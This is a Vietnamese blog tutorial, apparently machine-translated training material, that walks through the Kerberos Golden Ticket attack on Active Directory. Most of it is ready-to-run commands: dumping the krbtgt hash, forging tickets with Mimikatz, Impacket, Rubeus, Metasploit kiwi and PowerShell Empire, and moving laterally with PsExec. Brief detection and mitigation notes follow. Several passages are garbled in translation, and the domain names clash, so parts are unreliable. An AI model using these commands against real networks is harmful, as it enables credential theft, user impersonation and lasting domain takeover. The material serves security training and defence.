PreOSCP – Domain Persistence : Golden Ticket Attack

PreOSCP – Tham Gia Chương Trình Đào Tạo

Cuộc tấn công Golden Ticket là một kỹ thuật nổi tiếng nhằm mạo danh người dùng trên miền AD bằng cách lạm dụng xác thực Kerberos. Như chúng ta đã biết Windows có hai xác thực nổi tiếng là NTLM và Kerberos, trong bài viết này bạn sẽ tìm hiểu lý do tại sao điều này được gọi là sự bền bỉ và cách kẻ tấn công có thể khai thác điểm yếu của AD.

Mục lục

  • Tài khoản cục bộ mặc định của AD
  • Quy trình xác thực Kerberos
  • Giả mạo vé Kerberos (ticket Kerberos)
  • Cuộc tấn công tấm vé vàng Golden Ticket
  • Hướng dẫn tấn công Golden Ticket
    • Mimikatz
    • Impacket
    • Rubeus.exe
    • Metasploit
    • Empire
  • Săn Golden Ticket qua Nhật ký sự kiện
  • Giải pháp Giảm nhẹMitigation

Tài khoản cục bộ mặc định của AD

Tài khoản cục bộ mặc định là tài khoản tích hợp được tạo tự động khi cài đặt bộ điều khiển miền Windows Server và khi miền được tạo. Các tài khoản cục bộ mặc định này có bản sao trong Active Directory

Các tài khoản cục bộ mặc định trong vùng chứa Người dùng (Users) bao gồm: Quản trị viên Administrator, Khách Guest và KRBTGT. Tài khoản HelpAssistant được cài đặt khi có một phiên Hỗ trợ từ xa được thiết lập. Các phần sau đây mô tả các tài khoản cục bộ mặc định và việc sử dụng chúng trong Active Directory.

Quy trình xác thực Kerberos

Trong miền Active Directory, mọi bộ điều khiển miền chạy một dịch vụ KDC (Trung tâm phân phối Kerberos) để xử lý tất cả các yêu cầu vé (ticket) tới Kerberos. Đối với vé Kerberos, AD sử dụng tài khoản KRBTGT trong miền AD. KRBTGT cũng là tên chính bảo mật được KDC sử dụng cho miền Windows Server, sau đây là quy trình cấp phát TGT, TGS

  • Người dùng hợp pháp Legitimate User : Bắt đầu giao tiếp cho một yêu cầu dịch vụ là các user đã xác thực trong domain.
  • Máy chủ ứng dụng: Máy chủ có dịch vụ mà người dùng muốn truy cập.
  • Trung tâm phân phối chính (KDC): Tài khoản KBRTGT hoạt động như một tài khoản dịch vụ cho Trung tâm phân phối chính (KDC) và được tách thành ba phần: Cơ sở dữ liệu (DB), Máy chủ xác thực (AS) và Máy chủ cấp vé (TGS).
  • Máy chủ xác thực (AS): Xác minh & xác thực máy khách. Nếu người dùng đã đăng nhập được xác thực thành công, AS sẽ phát hành một vé gọi là TGT.
  • Ticket Granting Ticket (TGT): xác nhận với các máy chủ khác rằng người dùng đã được xác thực.
  • Máy chủ cấp vé (TGS): Yêu cầu của người dùng đến TGS từ KDC sẽ được sử dụng để truy cập dịch vụ của máy chủ ứng dụng. Quy trình trên được thực hiện như hình minh họa sau đây

Giả mạo vé Kerberos

Việc giả mạo vé Kerberos phụ thuộc vào mã băm mật khẩu có sẵn cho kẻ tấn công

  • Vé Vàng yêu cầu băm mật khẩu KRBTGT.
  • Vé bạc yêu cầu băm mật khẩu Tài khoản dịch vụ (tài khoản máy tính hoặc tài khoản người dùng).

Tấn công tấm vé vàng Golden Ticket

Golden Tickets được “rèn” từ Ticket-Granting Tickets (TGTs) còn gọi là vé xác thực, Như thể hiện trong hình dưới đây, kẻ tấn công thoát khỏi 1 st & 2 nd Stage và truyền thông khởi với KCD từ 3 thứ sân khấu. Vì Vé vàng là một TGT giả mạo, nó được gửi đến Bộ điều khiển miền như một phần của TGS-REQ để nhận vé dịch vụ.

TGT được sử dụng chủ yếu để thông báo cho bộ điều khiển miền của KDC rằng bộ điều khiển miền khác đã xác thực người dùng. Thực tế là TGT có mật khẩu băm KRBTGT được mã hóa và bất kỳ dịch vụ KDC nào bên trong miền đều có thể giải mã để chứng minh nó hợp lệ.

Những yêu cầu khi rèn TGT:

  • Tên miền
  • SID
  • Tên miền KRBTGT Tài khoản NTLM băm mật khẩu
  • Mạo danh người dùng

Nếu kẻ xâm nhập có quyền truy cập vào rừng / quản trị viên miền / tài khoản quản trị viên cục bộ Active Directory, họ có thể khai thác vé Kerberos để đánh cắp danh tính. Một cuộc tấn công vé vàng để tạo ra một vé Kerberos có giá trị trong 10 năm. Tuy nhiên, nếu bất kỳ người dùng nào khác đã thay đổi mật khẩu của mình, kẻ tấn công có thể sử dụng tài khoản KRBTGT để ở lại mạng. Kẻ tấn công cũng có thể tạo vé người dùng / máy tính / dịch vụ có thể truy cập từ Kerberos cho một tài khoản Active Directory không tồn tại.

Hướng dẫn tấn công tấm vé vàng Golden Ticket

Như đã biết, có một số yêu cầu cơ bản khi tạo TGT giả mạo bằng cách trích xuất “ Tên miền, SID, krbtgt Hash ”, Khi kẻ tấn công có quyền truy cập quản trị vào Bộ điều khiển miền, các giá trị băm của mật khẩu của tài khoản KRBTGT có thể được trích xuất bằng Mimikatz.

1
2
privilege::debug
lsadump::lsa /inject /name:krbtgt
  • Tên miền: firete.local
  • sid : S-1-5-21-3523557010-2506964455-2614950430
  • krbtgt Hash: f3bc61e97fb14d18c42bcbf6c3a9055f
  • Người dùng mạo danh: Pavan (Trong trường hợp của tôi)

Mặc dù ta có quyền truy cập vào bộ điều khiển miền nhưng cũng không thể kết nối với Máy chủ ứng dụng bằng PsExce.exe như được hiển thị trong hình dưới đây, bây giờ chúng ta hãy thử lại điều này, sử dụng giả mạo TGT bằng Nhiều phương pháp.

Mimikatz: Pass the Ticket

Mimikatz có sẵn cho cuộc tấn công Kerberos, cho phép tạo vé giả mạo và đồng thời chuyển dịch vụ TGT tới KDC để Nhận TSG và bạn sẽ có thể kết nối với Máy chủ miền. Điều này có thể được thực hiện bằng cách chạy cả hai lệnh trên cmd với tư cách quản trị viên.

1
2
kerberos::golden /user:pavan /domain:ignite.local /sid:S-1-5-21-3523557010-2506964455-2614950430 /krbtgt:f3bc61e97fb14d18c42bcbf6c3a9055f /id:500 /ptt
misc::cmd

Lệnh trên sẽ tạo vé mạo danh người dùng với RID 500.

Ngay sau khi bạn chạy các lệnh trên, bạn (kẻ tấn công) sẽ nhận được một lời nhắc cmd mới cho phép kết nối với máy chủ miền bằng PsExec.exe như được hiển thị trong hình dưới đây.

1
2
PsExec64.exe \\192.168.1.105 cmd.exe
ipconfig

Mimikatz: Tạo vé

Nếu bạn không muốn vượt qua vé nhưng muốn tạo vé giả để bạn có thể sử dụng sau này vì TGT có giá trị trong 10 năm, bạn có thể thực hiện lệnh bên dưới để tạo vé dưới dạng tệp ticket.kirbi.

1kerberos::golden /user:pavan /domain:ignite.local /sid:S-1-5-21-3523557010-2506964455-2614950430 /krbtgt:f3bc61e97fb14d18c42bcbf6c3a9055f /id:500

Lệnh trên sẽ tạo khóa TGT để mạo danh người dùng với RID 500.

Vì vậy, bất cứ khi nào bạn muốn truy cập dịch vụ Máy chủ miền, bạn có thể sử dụng tệp ticket.kirbi. Điều này có thể được thực hiện bằng cách thực hiện các lệnh sau:

1
2
kerberos::ptt ticket.kirbi
misc::cmd

Và sau đó lặp lại các bước trên để truy cập dịch vụ.

1
2
PsExec64.exe \\192.168.1.105 cmd.exe
ipconfig

Impacket

Tương tự, bạn có thể sử dụng công cụ impacket để tạo vé Forge Kerberos, hãy lặp lại bước tương tự bằng cách sử dụng lệnh sau:

1python lookupsid.py ignite/Administrator:Ignite@987@192.168.1.105

Ở đây, chúng ta đã sử dụng tập lệnh python lookupid  của impacket để liệt kê SID miền.

Sau đó, sử dụng tập lệnh python secretdump.py  để trích xuất mã băm Krbtgt & tên miền với sự trợ giúp của lệnh sau:

1python secretsdump.py administrator:Ignite@987@192.168.1.105 -outputfile krb -user-status

Tiếp theo, Sử dụng tập lệnh ticketer.py  tạo vé TGT / TGS – Vé có thời hạn được cố định thành 10 năm kể từ bây giờ.

1
2
python ticketer.py -nthash f3bc61e97fb14d18c42bcbf6c3a9055f -domain-sid S-1-5-21-3523557010-2506964455-2614950430 -domain ignite.local raj
export KRB5CCNAME=/root/Tools/impacket/examples/raj.ccache

Sau đó , Sử dụng tập lệnh ticket_converter.py sẽ chuyển đổi các tệp kirbi thành tệp ccache được sử dụng bởi impacket.

1python ticketConverter.py /root/impacket/examples/raj.ccache ticket.kirbi

Bây giờ, bất cứ khi nào bạn muốn truy cập dịch vụ máy chủ Miền, bạn có thể sử dụng tệp ticket.kirbi . Và điều này có thể được thực hiện bằng cách thực hiện các lệnh sau như được thực hiện trong các phần như trên :

1
2
kerberos::ptt ticket.kirbi
misc::cmd

Sau đó lặp lại bước như hình minh họa để truy cập dịch vụ.

1
2
PsExec64.exe \\192.168.1.105 cmd.exe
ipconfig

Pass The Ticket với Rubeus.exe

Tương tự, bạn có thể sử dụng Rubeus.exe như một tùy chọn thay thế để vượt qua vé, Rubeus là một bộ công cụ C # để tương tác và lạm dụng Kerberos thô. Nó được chuyển thể từ dự án Kekeo của Benjamin Delpy (giấy phép CC BY-NC-SA 4.0) và dự án MakeMeEnterpriseAdmin của Vincent LE TOUX (giấy phép GPL v3.0). Toàn bộ công lao dành cho Benjamin và Vincent vì đã tìm ra các thành phần khó khăn của quá trình vũ khí hóa.

Bạn có thể tải xuống từ đây: https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/blob/master/Rubeus.exe

1
2
3
Rubeus.exe ptt /ticket:ticket.kirbi
PsExec64.exe \\192.168.1.105 cmd.exeipconfig

Bây giờ chạy sử dụng psexec64.exe trên cùng một thiết bị đầu cuối để kết nối với máy chủ ứng dụng.

Metasploit: Kiwi

TGT / TGS có thể được tạo từ xa bằng Metasploit, vì bạn cần phải xâm nhập máy của nạn nhân là thành viên của AD và sau đó làm theo các bước dưới đây. Sử dụng kiwi để liệt kê krbtgt băm & SID của bộ điều khiển miền.

1
2
load kiwi
dcsync_ntlm krbtgt

Thu thập tên miền và các chi tiết cần thiết khác của mạng bằng lệnh sau:

1
2
shell
ipconfig /all

Bây giờ, sử dụng thông tin liệt kê ở trên để tạo mô-đun sử dụng Vé: golden_ticket_create, nó sẽ lưu trữ ticket.kirbi trên màn hình nền của máy cục bộ của tôi.

1golden_ticket_create -d ignite.local -u pavan -s S-1-5-21-3523557010-2506964455-2614950430 -k f3bc61e97fb14d18c42bcbf6c3a9055f -t /root/Desktop/ticket.kirbi

Metasploit: Mimikatz Powershell Script

Tương tự, bạn có thể sử dụng Powershell Script của Mimikatz để tạo Vé từ xa để đưa vào máy chủ ứng dụng hoặc để lưu trữ dưới dạng định dạng kirbi để sử dụng trong tương lai. Bây giờ tải lên kịch bản quyền hạn mimikatz để tạo TGT và chạy các lệnh đã cho này.

1
2
3
4
5
6
upload /root/powershell/Invoke-Mimikatz.ps1 .
shell
cd C:\Users\yashika\Desktop\
powershell
Set-ExecutionPolicy Unrestricted
Import-Module .\Invoke-Mimikatz.ps1

Khi bạn có tất cả thông tin cần thiết, hãy tạo Vé giả mạo với sự trợ giúp của lệnh sau.

1Invoke-Mimikatz -Command ‘”kerberos::golden /user:pavan /domain:ignite.local /sid:S-1-5-21-3523557010-2506964455-2614950430 /krbtgt:f3bc61e97fb14d18c42bcbf6c3a9055f /id:500 “‘

Lệnh trên sẽ tạo Mã thông báo để mạo danh người dùng với RID 500.

Sau khi kẻ tấn công tạo thẻ giả mạo, anh ta / cô ta có thể sử dụng vé này trong tương lai để truy cập dịch vụ của máy chủ ứng dụng bằng cách thực hiện các lệnh sau.

1
2
3
4
Invoke-Mimikatz -Command ‘”kerberos::purge”‘
Invoke-Mimikatz -Command ‘”kerberos::ptt ticket.kirbi”‘
Copy-Item C:/Users/yashika/Desktop/raj.exe -Destination \\WIN-S0V7KMTVLD2.ignite.local\c$
dir \\WIN-S0V7KMTVLD2.ignite.local\c$

Tương tự, nếu bạn muốn đưa Ticket vào thời điểm được tạo để truy cập vào máy chủ ứng dụng trong thời điểm đó, thì bạn chạy lệnh dưới đây.

1
2
Invoke-Mimikatz -Command ‘”kerberos::golden /user:pavan /domain:ignite.local /sid:S-1-5-21-3523557010-2506964455-2614950430 /krbtgt:f3bc61e97fb14d18c42bcbf6c3a9055f /id:500 /ptt”‘
dir \\WIN-S0V7KMTVLD2.ignite.local\c$

Powershell Empire

Khi nói đến việc tạo TGT / TGS, Powershell Empirekhuôn khổ nguy hiểm nhất, vì một khi bạn có máy nạn nhân xâm nhập là thành viên của AD, thì bạn có thể sử dụng trực tiếp mô-đun sau mà không cần phiên đặc quyền của quản trị viên.

1
2
3
4
5
6
7
usemodule credentials/mimikatz/golden_ticket
set domain <Domain_name>
set sid <SID>
set user pavan
set groupset id 500
set krbtgt_hash <ntlm_hash>

Đây là một cách năng động để tạo vé vì mô-đun này có thể chạy mà không cần phiên đặc quyền quản trị và nó sẽ đưa thẻ vào phiên hiện tại và kẻ tấn công có thể truy cập trực tiếp vào máy chủ.

Săn vé vàng Golden ticket qua Nhật ký sự kiện

Khi một tài khoản người dùng không có thật (một tài khoản không có trong Rừng AD) được sử dụng với RID của tài khoản AD hiện có (ví dụ Yashika). Người dùng không có thật ở đây là “pavan” và có các nhóm được đặt thành tiêu chuẩn Golden

Nhóm quản trị vé. nhật ký sự kiện được tạo cho hoạt động đăng nhập của anh ta và ID sự kiện là 4769, sẽ tiết lộ tên người dùng mạo danh và IP máy. 

Trong các sự kiện đăng nhập tài khoản hợp lệ cấu trúc dữ liệu sự kiện là:

  • ID bảo mật: DOMAIN \ AccountID
  • Tên tài khoản: AccountID
  • Miền tài khoản: DOMAIN

Mitigation

  1. Đặt lại mật khẩu và khóa tài khoản krbtgt

Microsoft đã phát hành tập lệnh để đặt lại mật khẩu và khóa của tài khoản krbtgt mà trước đó không thể thực hiện được. Tập lệnh này sẽ cho phép bạn đặt lại mật khẩu tài khoản krbtgt và các khóa liên quan trong khi giảm thiểu khả năng xảy ra sự cố xác thực Kerberos do thao tác này gây ra.

Bạn có thể tải xuống từ đây . Tập lệnh này có thể áp dụng cho Nền tảng sau:

  1. Cài đặt bảo vệ điểm cuối để chặn kẻ tấn công tải các mô-đun như tập lệnh mimikatz & powershell
  2. Giới hạn đặc quyền cho quyền truy cập của Quản trị viên và Quản trị viên miền.
  3. Cảnh báo về các hành vi đã biết cho biết Vé vàng hoặc các cuộc tấn công tương tự khác.

Trả lời

Please log in using one of these methods to post your comment:

WordPress.com Logo

Bạn đang bình luận bằng tài khoản WordPress.com Đăng xuất /  Thay đổi )

Google photo

Bạn đang bình luận bằng tài khoản Google Đăng xuất /  Thay đổi )

Twitter picture

Bạn đang bình luận bằng tài khoản Twitter Đăng xuất /  Thay đổi )

Facebook photo

Bạn đang bình luận bằng tài khoản Facebook Đăng xuất /  Thay đổi )

Connecting to %s